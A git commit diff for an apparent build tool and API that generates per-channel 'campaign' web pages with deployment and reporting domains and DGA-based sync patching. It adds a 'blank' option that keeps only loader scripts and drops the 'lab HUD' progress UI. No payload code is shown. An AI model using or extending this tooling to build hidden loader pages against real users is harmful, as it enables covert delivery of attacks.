admin
This commit is contained in:
@@ -55,7 +55,8 @@ python3 -m build_api
|
|||||||
python3 frontend/tools/new_project.py \
|
python3 frontend/tools/new_project.py \
|
||||||
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||||
--deployment-domains 'www.dep.example' \
|
--deployment-domains 'www.dep.example' \
|
||||||
--reporting-domains 'www.rep.example'
|
--reporting-domains 'www.rep.example' \
|
||||||
|
--support-template test # 或 blank(无 HUD 空白页)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Tests
|
## Tests
|
||||||
|
|||||||
@@ -26,11 +26,16 @@ CHANNEL_PATH = Path(
|
|||||||
bearer_scheme = HTTPBearer(auto_error=False)
|
bearer_scheme = HTTPBearer(auto_error=False)
|
||||||
|
|
||||||
|
|
||||||
|
SUPPORT_TEMPLATES = ("test", "blank")
|
||||||
|
DEFAULT_SUPPORT_TEMPLATE = "test"
|
||||||
|
|
||||||
|
|
||||||
class BuildRequest(BaseModel):
|
class BuildRequest(BaseModel):
|
||||||
model_config = ConfigDict(extra="forbid")
|
model_config = ConfigDict(extra="forbid")
|
||||||
|
|
||||||
deployment_domains: List[str] = Field(min_length=1, max_length=8)
|
deployment_domains: List[str] = Field(min_length=1, max_length=8)
|
||||||
reporting_domains: List[str] = Field(min_length=1, max_length=8)
|
reporting_domains: List[str] = Field(min_length=1, max_length=8)
|
||||||
|
support_template: str = Field(default=DEFAULT_SUPPORT_TEMPLATE)
|
||||||
force: bool = Field(default=False, strict=True)
|
force: bool = Field(default=False, strict=True)
|
||||||
|
|
||||||
@field_validator("deployment_domains", "reporting_domains")
|
@field_validator("deployment_domains", "reporting_domains")
|
||||||
@@ -41,6 +46,16 @@ class BuildRequest(BaseModel):
|
|||||||
raise ValueError("domain entries must be non-empty strings")
|
raise ValueError("domain entries must be non-empty strings")
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
@field_validator("support_template")
|
||||||
|
@classmethod
|
||||||
|
def support_template_must_be_known(cls, value: str) -> str:
|
||||||
|
template = value.strip().lower()
|
||||||
|
if template not in SUPPORT_TEMPLATES:
|
||||||
|
raise ValueError(
|
||||||
|
f"support_template must be one of: {', '.join(SUPPORT_TEMPLATES)}"
|
||||||
|
)
|
||||||
|
return template
|
||||||
|
|
||||||
|
|
||||||
def _error_response(status: int, code: str, message: str) -> JSONResponse:
|
def _error_response(status: int, code: str, message: str) -> JSONResponse:
|
||||||
return JSONResponse(
|
return JSONResponse(
|
||||||
@@ -67,6 +82,8 @@ def _validation_message(exc: RequestValidationError) -> str:
|
|||||||
return f"unknown fields: {loc[-1]}"
|
return f"unknown fields: {loc[-1]}"
|
||||||
if "force" in loc and error_type.startswith("bool"):
|
if "force" in loc and error_type.startswith("bool"):
|
||||||
return "force must be a boolean"
|
return "force must be a boolean"
|
||||||
|
if "support_template" in loc:
|
||||||
|
return f"support_template must be one of: {', '.join(SUPPORT_TEMPLATES)}"
|
||||||
if any(part == "channel_id" for part in first.get("loc", ())):
|
if any(part == "channel_id" for part in first.get("loc", ())):
|
||||||
return "channel id must be 32 lowercase alphanumeric characters"
|
return "channel id must be 32 lowercase alphanumeric characters"
|
||||||
if loc and loc[-1] in {"deployment_domains", "reporting_domains"}:
|
if loc and loc[-1] in {"deployment_domains", "reporting_domains"}:
|
||||||
@@ -182,6 +199,7 @@ def create_application(
|
|||||||
"reporting_domains": BuildService.normalize_domains(
|
"reporting_domains": BuildService.normalize_domains(
|
||||||
body.reporting_domains, "reporting_domains"
|
body.reporting_domains, "reporting_domains"
|
||||||
),
|
),
|
||||||
|
"support_template": body.support_template,
|
||||||
}
|
}
|
||||||
status, payload, headers = service.build(
|
status, payload, headers = service.build(
|
||||||
channel_id, request_input, force=body.force
|
channel_id, request_input, force=body.force
|
||||||
|
|||||||
@@ -208,6 +208,8 @@ class BuildService:
|
|||||||
command.extend(["--deployment-domains", domain])
|
command.extend(["--deployment-domains", domain])
|
||||||
for domain in request_input["reporting_domains"]:
|
for domain in request_input["reporting_domains"]:
|
||||||
command.extend(["--reporting-domains", domain])
|
command.extend(["--reporting-domains", domain])
|
||||||
|
support_template = str(request_input.get("support_template") or "test")
|
||||||
|
command.extend(["--support-template", support_template])
|
||||||
return subprocess.run(
|
return subprocess.run(
|
||||||
command,
|
command,
|
||||||
cwd=str(Path(__file__).resolve().parent.parent),
|
cwd=str(Path(__file__).resolve().parent.parent),
|
||||||
|
|||||||
+11
-2
@@ -62,9 +62,15 @@ python new_project.py \
|
|||||||
--root <artifact-root>/staging/<request-id> \
|
--root <artifact-root>/staging/<request-id> \
|
||||||
--channel-id <id> \
|
--channel-id <id> \
|
||||||
--deployment-domains <domain> ... \
|
--deployment-domains <domain> ... \
|
||||||
--reporting-domains <domain> ...
|
--reporting-domains <domain> ... \
|
||||||
|
--support-template test|blank
|
||||||
```
|
```
|
||||||
|
|
||||||
|
`support_template` selects the `web/support.html` page:
|
||||||
|
|
||||||
|
- `test` (default): current source campaign page with lab HUD
|
||||||
|
- `blank`: loader scripts only, no HUD UI (white blank page)
|
||||||
|
|
||||||
It must create a channel-scoped tree below `--root`:
|
It must create a channel-scoped tree below `--root`:
|
||||||
|
|
||||||
```text
|
```text
|
||||||
@@ -107,10 +113,13 @@ curl -i -X POST \
|
|||||||
https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/build \
|
https://builds.example.com/v1/channels/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/build \
|
||||||
-d '{
|
-d '{
|
||||||
"deployment_domains": ["deploy.example"],
|
"deployment_domains": ["deploy.example"],
|
||||||
"reporting_domains": ["report.example"]
|
"reporting_domains": ["report.example"],
|
||||||
|
"support_template": "test"
|
||||||
}'
|
}'
|
||||||
```
|
```
|
||||||
|
|
||||||
|
`support_template` is optional (`test` by default). Allowed values: `test`, `blank`.
|
||||||
|
|
||||||
The first successful build returns `201`; the same normalized input returns
|
The first successful build returns `201`; the same normalized input returns
|
||||||
`200`. A busy channel or conflicting existing release returns `409`, and an
|
`200`. A busy channel or conflicting existing release returns `409`, and an
|
||||||
invalid channel, JSON body, domain, or field returns `422`.
|
invalid channel, JSON body, domain, or field returns `422`.
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
# support.html templates
|
||||||
|
|
||||||
|
Build-time choices for `web/support.html` (`--support-template` / API `support_template`):
|
||||||
|
|
||||||
|
| Name | Source | Description |
|
||||||
|
|------|--------|-------------|
|
||||||
|
| `test` | campaign copy under `source/web/<id>/support.html` | Current lab HUD progress UI |
|
||||||
|
| `blank` | `blank.html` in this directory | Same loader scripts, no HUD markup/JS |
|
||||||
|
|
||||||
|
Default is `test`.
|
||||||
File diff suppressed because one or more lines are too long
@@ -16,16 +16,20 @@ pip3 install -r requirements.txt
|
|||||||
python3 frontend/tools/new_project.py \
|
python3 frontend/tools/new_project.py \
|
||||||
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||||
--reporting-domains 'www.rep1.example,www.rep2.example'
|
--reporting-domains 'www.rep1.example,www.rep2.example' \
|
||||||
|
--support-template test # test=HUD 进度页;blank=空白页
|
||||||
|
|
||||||
python3 frontend/tools/new_project.py \
|
python3 frontend/tools/new_project.py \
|
||||||
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
|
||||||
--root '/srv/coruna-artifacts/staging/request-id' \
|
--root '/srv/coruna-artifacts/staging/request-id' \
|
||||||
--force \
|
--force \
|
||||||
--deployment-domains 'www.dep1.example' \
|
--deployment-domains 'www.dep1.example' \
|
||||||
--reporting-domains 'www.rep1.example'
|
--reporting-domains 'www.rep1.example' \
|
||||||
|
--support-template blank
|
||||||
```
|
```
|
||||||
|
|
||||||
|
`support_template`:`test`(默认,source 中带 HUD 的页面)或 `blank`(去掉 HUD,仅保留加载逻辑)。
|
||||||
|
|
||||||
产物:
|
产物:
|
||||||
|
|
||||||
- 默认:`artifacts/channel/<channel-id>/{web,sync,out}/`
|
- 默认:`artifacts/channel/<channel-id>/{web,sync,out}/`
|
||||||
|
|||||||
@@ -27,6 +27,9 @@ SOURCE_ROOT = FRONTEND_ROOT / "source"
|
|||||||
ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts"
|
ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts"
|
||||||
LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling
|
LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling
|
||||||
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||||
|
SUPPORT_TEMPLATES = ("test", "blank")
|
||||||
|
DEFAULT_SUPPORT_TEMPLATE = "test"
|
||||||
|
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
|
||||||
|
|
||||||
|
|
||||||
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||||
@@ -40,6 +43,34 @@ def replace_tree(src: Path, dst: Path) -> None:
|
|||||||
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
||||||
|
|
||||||
|
|
||||||
|
def normalize_support_template(value: str | None) -> str:
|
||||||
|
template = (value or DEFAULT_SUPPORT_TEMPLATE).strip().lower()
|
||||||
|
if template not in SUPPORT_TEMPLATES:
|
||||||
|
raise SystemExit(
|
||||||
|
f"unsupported --support-template {value!r}; "
|
||||||
|
f"choose one of: {', '.join(SUPPORT_TEMPLATES)}"
|
||||||
|
)
|
||||||
|
return template
|
||||||
|
|
||||||
|
|
||||||
|
def apply_support_template(campaign_dir: Path, template: str) -> None:
|
||||||
|
"""Replace web/support.html according to the selected template.
|
||||||
|
|
||||||
|
test — keep the campaign copy (current source HUD page)
|
||||||
|
blank — overwrite with templates/support/blank.html (no HUD UI)
|
||||||
|
"""
|
||||||
|
template = normalize_support_template(template)
|
||||||
|
dest = campaign_dir / "support.html"
|
||||||
|
if template == "test":
|
||||||
|
if not dest.is_file():
|
||||||
|
raise SystemExit(f"missing support.html after campaign copy: {dest}")
|
||||||
|
return
|
||||||
|
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
|
||||||
|
if not src.is_file():
|
||||||
|
raise SystemExit(f"missing support template: {src}")
|
||||||
|
shutil.copyfile(src, dest)
|
||||||
|
|
||||||
|
|
||||||
def copy_campaign_template(dst_campaign: Path) -> None:
|
def copy_campaign_template(dst_campaign: Path) -> None:
|
||||||
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||||
if not src.is_dir():
|
if not src.is_dir():
|
||||||
@@ -178,6 +209,15 @@ def main() -> int:
|
|||||||
default=5,
|
default=5,
|
||||||
help="DGA candidates for patch_all when rebuilding sync (default 5)",
|
help="DGA candidates for patch_all when rebuilding sync (default 5)",
|
||||||
)
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--support-template",
|
||||||
|
default=DEFAULT_SUPPORT_TEMPLATE,
|
||||||
|
choices=SUPPORT_TEMPLATES,
|
||||||
|
help=(
|
||||||
|
"support.html template: test (source HUD page) or blank "
|
||||||
|
"(no HUD UI; default: test)"
|
||||||
|
),
|
||||||
|
)
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||||
@@ -188,6 +228,7 @@ def main() -> int:
|
|||||||
raise SystemExit(f"missing source sync: {src_sync}")
|
raise SystemExit(f"missing source sync: {src_sync}")
|
||||||
|
|
||||||
fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains)
|
fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains)
|
||||||
|
support_template = normalize_support_template(args.support_template)
|
||||||
channels_root = ARTIFACTS_ROOT / "channel"
|
channels_root = ARTIFACTS_ROOT / "channel"
|
||||||
channel = (
|
channel = (
|
||||||
validate_channel_id(args.channel_id)
|
validate_channel_id(args.channel_id)
|
||||||
@@ -209,6 +250,7 @@ def main() -> int:
|
|||||||
print("=== new_project ===")
|
print("=== new_project ===")
|
||||||
print(f"channel: {channel}")
|
print(f"channel: {channel}")
|
||||||
print(f"web dest: {campaign_dir}")
|
print(f"web dest: {campaign_dir}")
|
||||||
|
print(f"support: template={support_template}")
|
||||||
print("domains: rebuild isolated web + sync")
|
print("domains: rebuild isolated web + sync")
|
||||||
print(f" deployment: {', '.join(fixed_dep)}")
|
print(f" deployment: {', '.join(fixed_dep)}")
|
||||||
print(f" reporting: {', '.join(fixed_rep)}")
|
print(f" reporting: {', '.join(fixed_rep)}")
|
||||||
@@ -216,8 +258,9 @@ def main() -> int:
|
|||||||
|
|
||||||
print("=== copy campaign template ===")
|
print("=== copy campaign template ===")
|
||||||
copy_campaign_template(campaign_dir)
|
copy_campaign_template(campaign_dir)
|
||||||
|
apply_support_template(campaign_dir, support_template)
|
||||||
replace_tree(src_sync, sync_dir)
|
replace_tree(src_sync, sync_dir)
|
||||||
print("created web/ + sync/")
|
print(f"created web/ + sync/ (support_template={support_template})")
|
||||||
|
|
||||||
domain_args: list[str] = []
|
domain_args: list[str] = []
|
||||||
for item in fixed_dep:
|
for item in fixed_dep:
|
||||||
@@ -259,6 +302,7 @@ def main() -> int:
|
|||||||
release_manifest = {
|
release_manifest = {
|
||||||
"schema_version": 1,
|
"schema_version": 1,
|
||||||
"channel_id": channel,
|
"channel_id": channel,
|
||||||
|
"support_template": support_template,
|
||||||
"deployment_seed": dep,
|
"deployment_seed": dep,
|
||||||
"reporting_seed": rep,
|
"reporting_seed": rep,
|
||||||
"deployment_domains": fixed_dep,
|
"deployment_domains": fixed_dep,
|
||||||
|
|||||||
@@ -38,6 +38,7 @@ class BuildApiTest(unittest.TestCase):
|
|||||||
parser.add_argument("--force", action="store_true")
|
parser.add_argument("--force", action="store_true")
|
||||||
parser.add_argument("--deployment-domains", action="append", default=[])
|
parser.add_argument("--deployment-domains", action="append", default=[])
|
||||||
parser.add_argument("--reporting-domains", action="append", default=[])
|
parser.add_argument("--reporting-domains", action="append", default=[])
|
||||||
|
parser.add_argument("--support-template", default="test")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
counter = pathlib.Path(__file__).with_name("build-count")
|
counter = pathlib.Path(__file__).with_name("build-count")
|
||||||
count = int(counter.read_text()) if counter.exists() else 0
|
count = int(counter.read_text()) if counter.exists() else 0
|
||||||
@@ -160,11 +161,26 @@ class BuildApiTest(unittest.TestCase):
|
|||||||
)
|
)
|
||||||
self.assertEqual(CHANNEL, arguments["channel_id"])
|
self.assertEqual(CHANNEL, arguments["channel_id"])
|
||||||
self.assertTrue(arguments["force"])
|
self.assertTrue(arguments["force"])
|
||||||
|
self.assertEqual("test", arguments["support_template"])
|
||||||
|
self.assertEqual("test", payload["manifest"]["input"]["support_template"])
|
||||||
|
|
||||||
status, current, _ = self.request("GET", f"/v1/channels/{CHANNEL}")
|
status, current, _ = self.request("GET", f"/v1/channels/{CHANNEL}")
|
||||||
self.assertEqual(200, status)
|
self.assertEqual(200, status)
|
||||||
self.assertEqual(payload["manifest"], current["manifest"])
|
self.assertEqual(payload["manifest"], current["manifest"])
|
||||||
|
|
||||||
|
def test_support_template_is_passed_to_builder(self) -> None:
|
||||||
|
status, payload, _ = self.request(
|
||||||
|
"POST",
|
||||||
|
f"/v1/channels/{CHANNEL}/build",
|
||||||
|
self.valid_body(support_template="blank"),
|
||||||
|
)
|
||||||
|
self.assertEqual(201, status)
|
||||||
|
self.assertEqual("blank", payload["manifest"]["input"]["support_template"])
|
||||||
|
arguments = json.loads(
|
||||||
|
(self.service.channels / CHANNEL / "out" / "arguments.json").read_text()
|
||||||
|
)
|
||||||
|
self.assertEqual("blank", arguments["support_template"])
|
||||||
|
|
||||||
def test_identical_build_is_idempotent(self) -> None:
|
def test_identical_build_is_idempotent(self) -> None:
|
||||||
first, _, _ = self.request(
|
first, _, _ = self.request(
|
||||||
"POST", f"/v1/channels/{CHANNEL}/build", self.valid_body()
|
"POST", f"/v1/channels/{CHANNEL}/build", self.valid_body()
|
||||||
@@ -252,6 +268,10 @@ class BuildApiTest(unittest.TestCase):
|
|||||||
f"/v1/channels/{CHANNEL}/build",
|
f"/v1/channels/{CHANNEL}/build",
|
||||||
self.valid_body(extra=True),
|
self.valid_body(extra=True),
|
||||||
),
|
),
|
||||||
|
(
|
||||||
|
f"/v1/channels/{CHANNEL}/build",
|
||||||
|
self.valid_body(support_template="hud"),
|
||||||
|
),
|
||||||
]
|
]
|
||||||
for path, body in cases:
|
for path, body in cases:
|
||||||
with self.subTest(path=path, body=body):
|
with self.subTest(path=path, body=body):
|
||||||
|
|||||||
Reference in New Issue
Block a user